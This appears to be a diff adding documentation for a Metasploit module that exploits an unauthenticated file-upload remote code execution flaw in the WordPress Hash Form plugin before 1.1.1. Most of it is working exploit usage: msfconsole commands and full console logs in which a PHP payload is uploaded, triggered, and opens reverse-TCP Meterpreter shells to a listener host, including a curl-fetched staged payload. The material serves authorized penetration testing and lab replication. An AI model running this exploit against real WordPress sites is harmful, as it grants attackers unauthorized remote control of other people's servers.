|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This Metasploit module exploits a Remote Code Execution vulnerability in WordPress Hash Form |
| 4 | +plugin, versions prior to 1.1.1. |
| 5 | +The vulnerability is due to an unauthenticated file upload flaw in the plugin. |
| 6 | +To replicate a vulnerable environment for testing: |
| 7 | + |
| 8 | +1. Install WordPress. |
| 9 | +2. Download and install the Hash Form plugin, ensuring the version is below 1.1.1. |
| 10 | +3. Verify that the plugin is activated and accessible on the local network. |
| 11 | +4. Create any form |
| 12 | + |
| 13 | +## Verification Steps |
| 14 | + |
| 15 | +1. Set up a WordPress instance with the Hash Form plugin (version < 1.1.1). |
| 16 | +2. Launch `msfconsole` in your Metasploit framework. |
| 17 | +3. Use the module: `use exploit/multi/http/wp_hash_form_rce`. |
| 18 | +4. Set `RHOSTS` to the local IP address or hostname of the target. |
| 19 | +5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`. |
| 20 | +6. Execute the exploit using the `run` or `exploit` command. |
| 21 | +7. If the target is vulnerable, the module will execute the specified payload. |
| 22 | + |
| 23 | +## Options |
| 24 | + |
| 25 | +No option |
| 26 | + |
| 27 | +## Scenarios |
| 28 | + |
| 29 | +### Successful Exploitation Against Local WordPress with Hash Form 1.10 |
| 30 | + |
| 31 | +**Setup**: |
| 32 | + |
| 33 | +- Local WordPress instance with Hash Form version 1.1.0. |
| 34 | +- Metasploit Framework. |
| 35 | + |
| 36 | +**Steps**: |
| 37 | + |
| 38 | +1. Start `msfconsole`. |
| 39 | +2. Load the module: |
| 40 | +``` |
| 41 | +use exploit/multi/http/wp_hash_form_rce |
| 42 | +``` |
| 43 | +3. Set `RHOSTS` to the local IP (e.g., 192.168.1.11). |
| 44 | +4. Configure other necessary options (TARGETURI, SSL, etc.). |
| 45 | +5. Launch the exploit: |
| 46 | +``` |
| 47 | +exploit |
| 48 | +``` |
| 49 | + |
| 50 | +**Expected Results**: |
| 51 | + |
| 52 | +With `php/meterpreter/reverse_tcp` |
| 53 | + |
| 54 | +``` |
| 55 | +msf6 > search wp_hash_form_rce |
| 56 | +
|
| 57 | +Matching Modules |
| 58 | +================ |
| 59 | +
|
| 60 | + # Name Disclosure Date Rank Check Description |
| 61 | + - ---- --------------- ---- ----- ----------- |
| 62 | + 0 exploit/multi/http/wp_hash_form_rce 2024-05-23 excellent Yes WordPress Hash Form Plugin RCE |
| 63 | + 1 \_ target: Automatic . . . . |
| 64 | + 2 \_ target: PHP In-Memory . . . . |
| 65 | + 3 \_ target: Unix/Linux Command Shell . . . . |
| 66 | + 4 \_ target: Windows Command Shell . . . . |
| 67 | +
|
| 68 | +
|
| 69 | +Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/wp_hash_form_rce |
| 70 | +After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell' |
| 71 | +
|
| 72 | +msf6 > use 0 |
| 73 | +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp |
| 74 | +msf6 exploit(multi/http/wp_hash_form_rce) > options |
| 75 | +
|
| 76 | +Module options (exploit/multi/http/wp_hash_form_rce): |
| 77 | +
|
| 78 | + Name Current Setting Required Description |
| 79 | + ---- --------------- -------- ----------- |
| 80 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 81 | + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 82 | + RPORT 80 yes The target port (TCP) |
| 83 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 84 | + TARGETURI / yes The base path to the wordpress application |
| 85 | + VHOST no HTTP server virtual host |
| 86 | +
|
| 87 | +
|
| 88 | +Payload options (php/meterpreter/reverse_tcp): |
| 89 | +
|
| 90 | + Name Current Setting Required Description |
| 91 | + ---- --------------- -------- ----------- |
| 92 | + LHOST 192.168.1.36 yes The listen address (an interface may be specified) |
| 93 | + LPORT 4444 yes The listen port |
| 94 | +
|
| 95 | +
|
| 96 | +Exploit target: |
| 97 | +
|
| 98 | + Id Name |
| 99 | + -- ---- |
| 100 | + 0 PHP In-Memory |
| 101 | +
|
| 102 | +
|
| 103 | +
|
| 104 | +View the full module info with the info, or info -d command. |
| 105 | +
|
| 106 | +msf6 exploit(multi/http/wp_hash_form_rce) > set rhosts 127.0.0.1 |
| 107 | +rhosts => 127.0.0.1 |
| 108 | +msf6 exploit(multi/http/wp_hash_form_rce) > set rport 8080 |
| 109 | +rport => 8080 |
| 110 | +msf6 exploit(multi/http/wp_hash_form_rce) > exploit |
| 111 | +
|
| 112 | +[*] Started reverse TCP handler on 192.168.1.36:4444 |
| 113 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 114 | +[+] Detected Hash Form plugin version: 1.1.0 |
| 115 | +[+] The target appears to be vulnerable. |
| 116 | +[*] Attempting to retrieve nonce from the target... |
| 117 | +[+] Nonce retrieved: c037ee0b47 |
| 118 | +[*] Uploading PHP payload using the retrieved nonce... |
| 119 | +[+] PHP payload uploaded successfully to http://localhost:8080/wp-content/uploads/hashform/temp/zumchnzt.php |
| 120 | +[*] Triggering the payload at http://localhost:8080/wp-content/uploads/hashform/temp/zumchnzt.php... |
| 121 | +[*] Sending stage (39927 bytes) to 172.20.0.3 |
| 122 | +[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.20.0.3:52596) at 2024-05-28 17:52:51 +0200 |
| 123 | +
|
| 124 | +meterpreter > sysinfo |
| 125 | +Computer : 92b664be9b0c |
| 126 | +OS : Linux 92b664be9b0c 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 |
| 127 | +Meterpreter : php/linux |
| 128 | +``` |
| 129 | + |
| 130 | +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: |
| 131 | + |
| 132 | +``` |
| 133 | +msf6 exploit(multi/http/wp_hash_form_rce) > options |
| 134 | +
|
| 135 | +Module options (exploit/multi/http/wp_hash_form_rce): |
| 136 | +
|
| 137 | + Name Current Setting Required Description |
| 138 | + ---- --------------- -------- ----------- |
| 139 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 140 | + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 141 | + RPORT 8080 yes The target port (TCP) |
| 142 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 143 | + TARGETURI / yes The base path to the wordpress application |
| 144 | + VHOST no HTTP server virtual host |
| 145 | +
|
| 146 | +
|
| 147 | +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): |
| 148 | +
|
| 149 | + Name Current Setting Required Description |
| 150 | + ---- --------------- -------- ----------- |
| 151 | + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) |
| 152 | + FETCH_DELETE false yes Attempt to delete the binary after execution |
| 153 | + FETCH_FILENAME KtElgOyozC no Name to use on remote system when storing payload; cannot contain spaces or slashes |
| 154 | + FETCH_SRVHOST no Local IP to use for serving payload |
| 155 | + FETCH_SRVPORT 5555 yes Local port to use for serving payload |
| 156 | + FETCH_URIPATH no Local URI to use for serving payload |
| 157 | + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces |
| 158 | + LHOST 192.168.1.36 yes The listen address (an interface may be specified) |
| 159 | + LPORT 4444 yes The listen port |
| 160 | +
|
| 161 | +
|
| 162 | +Exploit target: |
| 163 | +
|
| 164 | + Id Name |
| 165 | + -- ---- |
| 166 | + 1 Unix/Linux Command Shell |
| 167 | +
|
| 168 | +
|
| 169 | +
|
| 170 | +View the full module info with the info, or info -d command. |
| 171 | +
|
| 172 | +msf6 exploit(multi/http/wp_hash_form_rce) > exploit |
| 173 | +
|
| 174 | +[*] Started reverse TCP handler on 192.168.1.36:4444 |
| 175 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 176 | +[+] Detected Hash Form plugin version: 1.1.0 |
| 177 | +[+] The target appears to be vulnerable. |
| 178 | +[*] Attempting to retrieve nonce from the target... |
| 179 | +[+] Nonce retrieved: c037ee0b47 |
| 180 | +[*] Uploading PHP payload using the retrieved nonce... |
| 181 | +[+] PHP payload uploaded successfully to http://localhost:8080/wp-content/uploads/hashform/temp/roeylnhj.php |
| 182 | +[*] Triggering the payload at http://localhost:8080/wp-content/uploads/hashform/temp/roeylnhj.php... |
| 183 | +[*] Sending stage (3045380 bytes) to 172.20.0.3 |
| 184 | +[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.20.0.3:53478) at 2024-05-28 18:03:35 +0200 |
| 185 | +
|
| 186 | +meterpreter > sysinfo |
| 187 | +Computer : 172.20.0.3 |
| 188 | +OS : Debian 12.5 (Linux 5.15.0-91-generic) |
| 189 | +Architecture : x64 |
| 190 | +BuildTuple : x86_64-linux-musl |
| 191 | +Meterpreter : x64/linux |
| 192 | +``` |
| 193 | + |
| 194 | +- The module attempts to retrieve a nonce from the local server. |
| 195 | +- It then uploads and executes the payload. |
| 196 | +- If successful, control over the local WordPress instance is gained, depending on the payload used. |
0 commit comments